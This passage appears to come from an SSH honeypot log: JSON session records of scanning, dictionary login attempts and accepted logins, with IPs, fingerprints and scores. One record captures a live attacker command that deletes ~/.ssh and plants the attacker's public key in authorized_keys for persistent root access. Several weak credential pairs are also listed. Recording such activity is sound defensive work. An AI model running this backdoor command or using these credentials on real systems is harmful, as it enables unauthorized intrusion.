    "COMMANDS RUN"
  ]
}

120.87.99.202

2026-07-28 16:03:28.270457 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: c6f00d8d0ba4

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "c6f00d8d0ba4",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:03:28.270457Z",
  "end_time": "2026-07-28T16:05:28.274828Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

85.217.149.20

2026-07-28 16:02:38.238032 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 04e0d07f59a7

Client Version: \xee\xea\x9b2\xca#6Kv8\xf3ǋ\xc2\xcb\xf6\xebk\x92

Engagement Duration: 0.0s

{
  "id": "04e0d07f59a7",
  "src_ip": "85.217.149.20",
  "start_time": "2026-07-28T16:02:38.238032Z",
  "end_time": "2026-07-28T16:02:38.243826Z",
  "duration": "0.0",
  "version": "\u0016\u0003\u0001\u0000\\xee\u0001\u0000\u0000\\xea\u0003\u0003\\x9b2\\xca#6Kv8\\xf3\u0001\u0004\u01cb\\xc2\\xcb\\xf6\\xebk\\x92",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

120.87.99.202

2026-07-28 16:01:31.204116 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 1d91efa06bfd

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

{
  "id": "1d91efa06bfd",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:01:31.204116Z",
  "end_time": "2026-07-28T16:03:31.211915Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:59:29.877360 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 3932875949d5

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "3932875949d5",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:59:29.877360Z",
  "end_time": "2026-07-28T16:01:29.946173Z",
  "duration": "120.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

176.53.159.196

2026-07-28 15:58:25.593261 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 0f4be54f1434

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "0f4be54f1434",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-28T15:58:25.593261Z",
  "end_time": "2026-07-28T15:58:26.762465Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

2.57.121.112

2026-07-28 15:58:06.850278 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: ambria

Record ID: d8d573d279ef

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.6s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "d8d573d279ef",
  "src_ip": "2.57.121.112",
  "start_time": "2026-07-28T15:58:06.850278Z",
  "end_time": "2026-07-28T15:58:13.432854Z",
  "duration": "6.6",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [
    {
      "user": "ambria",
      "pass": "ambria"
    },
    {
      "user": "ambria",
      "pass": "ambria1"
    },
    {
      "user": "ambria",
      "pass": "ambria123"
    },
    {
      "user": "ambria",
      "pass": "ambria1234"
    },
    {
      "user": "ambria",
      "pass": "ambria12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

120.87.99.202

2026-07-28 15:57:32.724996 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: c86f93ab44ff

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

{
  "id": "c86f93ab44ff",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:57:32.724996Z",
  "end_time": "2026-07-28T15:59:32.732720Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:56:12.453267 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 65093358abb9

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "65093358abb9",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:56:12.453267Z",
  "end_time": "2026-07-28T15:56:13.601765Z",
  "duration": "1.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

120.87.99.202

2026-07-28 15:56:10.085954 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: fdeac64019b5

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "fdeac64019b5",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:56:10.085954Z",
  "end_time": "2026-07-28T15:56:12.276945Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

120.87.99.202

2026-07-28 15:56:03.604524 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / 258369

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 6c200526e3a6

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 10.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "6c200526e3a6",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:56:03.604524Z",
  "end_time": "2026-07-28T15:56:13.598989Z",
  "duration": "10.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "258369"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

120.87.99.202

2026-07-28 15:54:08.307185 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 9837683b3ed2

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "9837683b3ed2",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:54:08.307185Z",
  "end_time": "2026-07-28T15:56:08.311799Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:52:11.068153 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 36f9d8d8d2e1

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "36f9d8d8d2e1",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:52:11.068153Z",
  "end_time": "2026-07-28T15:54:11.075528Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:50:14.669280 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 7d4b43915cab

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "7d4b43915cab",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:50:14.669280Z",
  "end_time": "2026-07-28T15:52:14.677245Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:48:20.778798 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a1c36d9507f5

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "a1c36d9507f5",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:48:20.778798Z",
  "end_time": "2026-07-28T15:50:20.790091Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:46:55.377256 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: botuser

Record ID: d85f7a0fb473

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "d85f7a0fb473",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:46:55.377256Z",
  "end_time": "2026-07-28T15:46:57.618695Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "botuser",
      "pass": "1234"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}